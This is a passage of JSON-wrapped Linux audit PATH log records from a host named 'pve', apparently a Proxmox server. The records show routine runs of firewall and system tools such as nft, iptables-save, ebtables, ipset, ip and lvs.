{"@timestamp":1781964384145,"@rawstring":"node=pve type=PATH msg=audit(1781964384.145:60779): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384145,"@rawstring":"node=pve type=PATH msg=audit(1781964384.145:60779): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384145,"@rawstring":"node=pve type=PATH msg=audit(1781964384.145:60778): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964384145,"@rawstring":"node=pve type=PATH msg=audit(1781964384.145:60777): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379137,"@rawstring":"node=pve type=PATH msg=audit(1781964379.137:60776): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379137,"@rawstring":"node=pve type=PATH msg=audit(1781964379.137:60776): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379137,"@rawstring":"node=pve type=PATH msg=audit(1781964379.137:60775): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379137,"@rawstring":"node=pve type=PATH msg=audit(1781964379.137:60774): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379130,"@rawstring":"node=pve type=PATH msg=audit(1781964379.130:60773): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379130,"@rawstring":"node=pve type=PATH msg=audit(1781964379.130:60773): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379130,"@rawstring":"node=pve type=PATH msg=audit(1781964379.130:60772): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964379130,"@rawstring":"node=pve type=PATH msg=audit(1781964379.130:60771): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375332,"@rawstring":"node=pve type=PATH msg=audit(1781964375.332:60770): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375332,"@rawstring":"node=pve type=PATH msg=audit(1781964375.332:60770): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375329,"@rawstring":"node=pve type=PATH msg=audit(1781964375.329:60769): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375329,"@rawstring":"node=pve type=PATH msg=audit(1781964375.329:60769): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375328,"@rawstring":"node=pve type=PATH msg=audit(1781964375.328:60768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375328,"@rawstring":"node=pve type=PATH msg=audit(1781964375.328:60768): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375328,"@rawstring":"node=pve type=PATH msg=audit(1781964375.328:60767): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375324,"@rawstring":"node=pve type=PATH msg=audit(1781964375.324:60766): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375324,"@rawstring":"node=pve type=PATH msg=audit(1781964375.324:60766): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375324,"@rawstring":"node=pve type=PATH msg=audit(1781964375.324:60766): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375318,"@rawstring":"node=pve type=PATH msg=audit(1781964375.318:60765): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375318,"@rawstring":"node=pve type=PATH msg=audit(1781964375.318:60765): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375312,"@rawstring":"node=pve type=PATH msg=audit(1781964375.312:60764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375312,"@rawstring":"node=pve type=PATH msg=audit(1781964375.312:60764): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375306,"@rawstring":"node=pve type=PATH msg=audit(1781964375.306:60763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375306,"@rawstring":"node=pve type=PATH msg=audit(1781964375.306:60763): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375299,"@rawstring":"node=pve type=PATH msg=audit(1781964375.299:60762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375299,"@rawstring":"node=pve type=PATH msg=audit(1781964375.299:60762): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375294,"@rawstring":"node=pve type=PATH msg=audit(1781964375.294:60760): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375294,"@rawstring":"node=pve type=PATH msg=audit(1781964375.294:60760): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375290,"@rawstring":"node=pve type=PATH msg=audit(1781964375.290:60759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375290,"@rawstring":"node=pve type=PATH msg=audit(1781964375.290:60759): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375284,"@rawstring":"node=pve type=PATH msg=audit(1781964375.284:60758): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375284,"@rawstring":"node=pve type=PATH msg=audit(1781964375.284:60758): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375279,"@rawstring":"node=pve type=PATH msg=audit(1781964375.279:60757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375279,"@rawstring":"node=pve type=PATH msg=audit(1781964375.279:60757): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375274,"@rawstring":"node=pve type=PATH msg=audit(1781964375.274:60756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375274,"@rawstring":"node=pve type=PATH msg=audit(1781964375.274:60756): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375269,"@rawstring":"node=pve type=PATH msg=audit(1781964375.269:60755): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375269,"@rawstring":"node=pve type=PATH msg=audit(1781964375.269:60755): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375262,"@rawstring":"node=pve type=PATH msg=audit(1781964375.262:60754): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375262,"@rawstring":"node=pve type=PATH msg=audit(1781964375.262:60754): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375256,"@rawstring":"node=pve type=PATH msg=audit(1781964375.256:60753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375256,"@rawstring":"node=pve type=PATH msg=audit(1781964375.256:60753): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375252,"@rawstring":"node=pve type=PATH msg=audit(1781964375.252:60752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375252,"@rawstring":"node=pve type=PATH msg=audit(1781964375.252:60752): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375249,"@rawstring":"node=pve type=PATH msg=audit(1781964375.249:60751): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375249,"@rawstring":"node=pve type=PATH msg=audit(1781964375.249:60751): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375248,"@rawstring":"node=pve type=PATH msg=audit(1781964375.248:60750): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375248,"@rawstring":"node=pve type=PATH msg=audit(1781964375.248:60750): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375248,"@rawstring":"node=pve type=PATH msg=audit(1781964375.248:60749): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375244,"@rawstring":"node=pve type=PATH msg=audit(1781964375.244:60748): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375244,"@rawstring":"node=pve type=PATH msg=audit(1781964375.244:60748): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375244,"@rawstring":"node=pve type=PATH msg=audit(1781964375.244:60748): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375237,"@rawstring":"node=pve type=PATH msg=audit(1781964375.237:60747): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375237,"@rawstring":"node=pve type=PATH msg=audit(1781964375.237:60747): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375231,"@rawstring":"node=pve type=PATH msg=audit(1781964375.231:60746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375231,"@rawstring":"node=pve type=PATH msg=audit(1781964375.231:60746): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375226,"@rawstring":"node=pve type=PATH msg=audit(1781964375.226:60745): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375226,"@rawstring":"node=pve type=PATH msg=audit(1781964375.226:60745): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375220,"@rawstring":"node=pve type=PATH msg=audit(1781964375.220:60744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375220,"@rawstring":"node=pve type=PATH msg=audit(1781964375.220:60744): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375214,"@rawstring":"node=pve type=PATH msg=audit(1781964375.214:60743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964375214,"@rawstring":"node=pve type=PATH msg=audit(1781964375.214:60743): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374563,"@rawstring":"node=pve type=PATH msg=audit(1781964374.563:60742): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374563,"@rawstring":"node=pve type=PATH msg=audit(1781964374.563:60742): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374529,"@rawstring":"node=pve type=PATH msg=audit(1781964374.529:60741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374529,"@rawstring":"node=pve type=PATH msg=audit(1781964374.529:60741): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374121,"@rawstring":"node=pve type=PATH msg=audit(1781964374.121:60740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374121,"@rawstring":"node=pve type=PATH msg=audit(1781964374.121:60740): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374121,"@rawstring":"node=pve type=PATH msg=audit(1781964374.121:60739): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374121,"@rawstring":"node=pve type=PATH msg=audit(1781964374.121:60738): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374099,"@rawstring":"node=pve type=PATH msg=audit(1781964374.099:60737): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374099,"@rawstring":"node=pve type=PATH msg=audit(1781964374.099:60737): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374099,"@rawstring":"node=pve type=PATH msg=audit(1781964374.099:60736): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964374099,"@rawstring":"node=pve type=PATH msg=audit(1781964374.099:60735): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=PATH msg=audit(1781964369.089:60734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=PATH msg=audit(1781964369.089:60734): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=PATH msg=audit(1781964369.089:60733): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=PATH msg=audit(1781964369.089:60732): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369085,"@rawstring":"node=pve type=PATH msg=audit(1781964369.085:60731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369085,"@rawstring":"node=pve type=PATH msg=audit(1781964369.085:60731): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369085,"@rawstring":"node=pve type=PATH msg=audit(1781964369.085:60730): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964369085,"@rawstring":"node=pve type=PATH msg=audit(1781964369.085:60729): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366203,"@rawstring":"node=pve type=PATH msg=audit(1781964366.203:60728): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366203,"@rawstring":"node=pve type=PATH msg=audit(1781964366.203:60728): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366199,"@rawstring":"node=pve type=PATH msg=audit(1781964366.199:60727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366199,"@rawstring":"node=pve type=PATH msg=audit(1781964366.199:60727): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366198,"@rawstring":"node=pve type=PATH msg=audit(1781964366.198:60726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366198,"@rawstring":"node=pve type=PATH msg=audit(1781964366.198:60726): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366198,"@rawstring":"node=pve type=PATH msg=audit(1781964366.198:60725): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366193,"@rawstring":"node=pve type=PATH msg=audit(1781964366.193:60724): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366193,"@rawstring":"node=pve type=PATH msg=audit(1781964366.193:60724): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366193,"@rawstring":"node=pve type=PATH msg=audit(1781964366.193:60724): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366185,"@rawstring":"node=pve type=PATH msg=audit(1781964366.185:60723): item=1 